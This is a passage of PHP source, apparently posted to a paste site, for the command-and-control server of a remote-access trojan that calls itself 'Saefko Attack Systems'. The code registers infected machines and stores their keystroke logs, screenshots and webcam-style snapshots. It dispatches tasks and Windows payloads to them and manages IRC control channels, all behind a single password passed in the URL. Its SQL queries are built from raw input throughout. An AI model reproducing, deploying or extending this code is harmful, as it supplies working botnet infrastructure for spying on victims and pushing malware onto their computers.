  803.         $CurrentTime = round(microtime(true) * 1000);
  804.  
  805.         $UpdateSQL = "UPDATE machines
  806.                                                   SET
  807.                                                       irc_server = '$servers',
  808.                                                       machine_updated_date = '$CurrentTime'
  809.                                                 WHERE id = $id;";
  810.         $this->db->query($UpdateSQL);
  811.  
  812.         echo "ok";
  813.     }
  814.  
  815.  
  816.     function GetIP()
  817.     {
  818.         echo self::get_client_ip();
  819.     }
  820.  
  821.     function SetKeyLogs($id, $data)
  822.     {
  823.  
  824.         $UpdateSQL = "UPDATE machines
  825.                                                   SET
  826.                                                       machine_keylogs = '$data'
  827.                                                       WHERE id = $id";
  828.         $this->db->query($UpdateSQL);
  829.  
  830.         echo "ok";
  831.     }
  832.  
  833.     function SaveWindowsPayload($data)
  834.     {
  835.  
  836.         $UpdateSQL = "UPDATE payloads
  837.                                                               SET
  838.                                                                   payload_data = '$data'
  839.                                                                   WHERE id = 8";
  840.         $this->db->query($UpdateSQL);
  841.  
  842.         echo "ok";
  843.     }
  844.  
  845.     function update_irc_status($machine_id, $irc_status)
  846.     {
  847.  
  848.         $UpdateSQL = "UPDATE machines
  849.                                                               SET
  850.                                                                   irc_status = '$irc_status'
  851.                                                                   WHERE id = $machine_id;";
  852.         $this->db->query($UpdateSQL);
  853.  
  854.         echo "ok";
  855.     }
  856.  
  857.  
  858.     function GetWindowsSASR()
  859.     {
  860.  
  861.         $GetSQL = $this->db->query("select payload_data from payloads where id = 8;");
  862.         $GetMachinesData = $GetSQL->fetch()['payload_data'];
  863.  
  864.         if (empty($GetMachinesData)) {
  865.             $GetMachinesData = "empty";
  866.         }
  867.  
  868.  
  869.         echo $GetMachinesData;
  870.     }
  871.  
  872.     function GetPayloads($id)
  873.     {
  874.  
  875.         $GetSQL = $this->db->query("select payload_data from payloads where id = $id;");
  876.         $GetMachinesData = $GetSQL->fetch()['payload_data'];
  877.  
  878.         if (empty($GetMachinesData)) {
  879.             $GetMachinesData = "empty";
  880.         }
  881.  
  882.  
  883.         echo $GetMachinesData;
  884.     }
  885.  
  886.     function GetPasswords()
  887.     {
  888.  
  889.         $GetSQL = $this->db->query("select password from admin limit 1;");
  890.         $GetPasswordData = $GetSQL->fetch()['password'];
  891.         return $GetPasswordData;
  892.     }
  893.  
  894.     function CheckLogin($password)
  895.     {
  896.         $GetSQL = $this->db->query("select password from admin where password = '$password' limit 1;");
  897.         $GetPasswordData = $GetSQL->fetch()['password'];
  898.         if (!empty($GetPasswordData)) {
  899.             echo "ok";
  900.         } else {
  901.             echo "false";
  902.         }
  903.     }
  904.  
  905.  
  906.     function VerifyDatabase()
  907.     {
  908.  
  909.         if (file_exists("seafko_db.db")) {
  910.  
  911.             if (is_writable("seafko_db.db")) {
  912.                 // is write read
  913.                 echo "ok_full";
  914.  
  915.             } else {
  916.                 echo "not_writable";
  917.             }
  918.  
  919.         } else {
  920.             echo "file_not_available";
  921.         }
  922.  
  923.     }
  924.  
  925.  
  926.     function ChanegPassword($NewPassword)
  927.     {
  928.         $UpdateSQL = "UPDATE admin
  929.                                SET password = '$NewPassword'
  930.                                Where id = 1;";
  931.         $this->db->query($UpdateSQL);
  932.  
  933.         echo "ok";
  934.     }
  935.  
  936.     function TestIfCurrentDirIsWritable()
  937.     {
  938.         $myfile = fopen("test.data", "w");
  939.         if ($myfile) {
  940.             $txt = "Saefko Attack Systems\n";
  941.             fwrite($myfile, $txt);
  942.             fclose($myfile);
  943.             unlink("test.data");
  944.             echo "ok";
  945.         } else {
  946.             echo "false";
  947.         }
  948.  
  949.     }
  950.  
  951.     function __destruct()
  952.     {
  953.         // $this->db->close();
  954.     }
  955.  
  956. }
  957.  
  958. if (!isset($_GET['pass'])) {
  959.     return;
  960. }
  961. $server = new SERVER();
  962. if ($_GET['pass'] == $server->GetPasswords()) {
  963.     if (isset($_GET['command'])) {
  964.         if ($_GET['command'] == "get_statics") {
  965.             $server->get_statics_data();
  966.         }
  967.         if ($_GET['command'] == "get_new_machines") {
  968.             $server->get_refresh_data($_GET['timestamp']);
  969.         }
  970.         if ($_GET['command'] == "getGMAPMachines") {
  971.             $server->getGMAPMachines($_GET['GmapMaxValue']);
  972.         }
  973.         if ($_GET['command'] == "getOnlineMachinesData") {
  974.             $server->getOnlineMachinesData($_GET['limit'], $_GET['restrict'], $_GET['filter']);
  975.         }
  976.         if ($_GET['command'] == "getOfflineMachinesData") {
  977.             $server->getOfflineMachinesData($_GET['limit'], $_GET['restrict'], $_GET['filter']);
  978.         }
  979.         if ($_GET['command'] == "getDisconnectedMachinesData") {
  980.             $server->getDisconnectedMachinesData($_GET['limit'], $_GET['restrict'], $_GET['filter']);
  981.         }
  982.         if ($_GET['command'] == "GetTasks") {
  983.             $server->getTasks();
  984.         }
  985.         if ($_GET['command'] == "getPrivateTasks") {
  986.             $server->getPrivateTasks($_GET["id"]);
  987.         }
  988.         if ($_GET['command'] == "UpdateTaskStatus") {
  989.             $server->UpdateTaskStatus($_GET["task_id"], $_GET["task_status"]);
  990.         }
  991.         if ($_GET['command'] == "RemoveTask") {
  992.             $server->RemoveTask($_GET["task_id"]);
  993.         }
  994.         if ($_GET['command'] == "GetTasksExcu") {
  995.             $server->GetTasksExcu($_GET["task_id"]);
  996.         }
  997.         if ($_GET['command'] == "AddTask") {
  998.             $server->AddTask($_GET["task_data"]);
  999.         }
  1000.         if ($_GET['command'] == "GetMachineIRCInfo") {
  1001.             $server->GetMachineIRCInfo($_GET["id"]);
  1002.         }
  1003.         if ($_GET['command'] == "RegisterNewMachine") {
  1004.             $server->RegisterNewMachine($_POST["machine_data"]);
  1005.         }
  1006.         if ($_GET['command'] == "UpdateNewMachine") {
  1007.             $server->UpdateNewMachine($_POST["id"], $_POST["machine_data"]);
  1008.         }
  1009.         if ($_GET['command'] == "UpdateAndGetTasks") {
  1010.             $server->UpdateAndGetTasks($_GET["machine_id"], $_GET["machine_os"]);
  1011.         }
  1012.         if ($_GET['command'] == "InsertTaskExecution") {
  1013.             $server->InsertTaskExecution($_GET["excuter_id"], $_GET["task_id"]);
  1014.         }
  1015.         if ($_GET['command'] == "SaveScreenShot") {
  1016.             $server->SaveScreenShot($_POST["id"], $_POST["data"]);
  1017.         }
  1018.         if ($_GET['command'] == "SaveSnapshot") {
  1019.             $server->SaveSnapshot($_POST["id"], $_POST["data"]);
  1020.         }
  1021.         if ($_GET['command'] == "GetBAse64Data") {
  1022.             $server->GetBAse64Data($_GET["machine_id"], $_GET["data_type"]);
  1023.         }
  1024.         if ($_GET['command'] == "UpdateIRCServer") {
  1025.             $server->UpdateIRCServer($_GET["id"], $_GET["server"], $_GET["port"], $_GET["nickname"], $_GET["channle"]);
  1026.         }
  1027.         if ($_GET['command'] == "GetIP") {
  1028.             $server->GetIP();
  1029.         }
  1030.         if ($_GET['command'] == "SetKeyLogs") {
  1031.             $server->SetKeyLogs($_POST["id"], $_POST["data"]);
  1032.         }
  1033.         if ($_GET['command'] == "SaveWindowsPayload") {
  1034.             $server->SaveWindowsPayload($_POST["data"]);
  1035.         }
  1036.         if ($_GET['command'] == "GetWindowsSASR") {
  1037.             $server->GetWindowsSASR();
  1038.         }
  1039.         if ($_GET['command'] == "GetPayloads") {
  1040.             $server->GetPayloads($_GET["id"]);
  1041.         }
  1042.         if ($_GET['command'] == "GetMachineScreenshot") {
  1043.             $server->GetMachineScreenshot($_GET["id"]);
  1044.         }
  1045.         if ($_GET['command'] == "CheckLogin") {
  1046.             $server->CheckLogin($_GET["password"]);
  1047.         }
  1048.         if ($_GET['command'] == "VerifyDatabase") {
  1049.             $server->VerifyDatabase();
  1050.         }
  1051.         if ($_GET['command'] == "UpdateHTTPIRCStatus") {
  1052.             $server->update_irc_status($_GET["machine_id"], $_GET["irc_status"]);
  1053.         }
  1054.         if ($_GET['command'] == "ChanegPassword") {
  1055.             $server->ChanegPassword($_GET["newpassword"]);
  1056.         }
  1057.         if ($_GET['command'] == "TestIfCurrentDirIsWritable") {
  1058.             $server->TestIfCurrentDirIsWritable();
  1059.         }
  1060.  
  1061.     }
  1062.  
  1063. } else {
  1064.     echo "false";
  1065. }
  1066. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement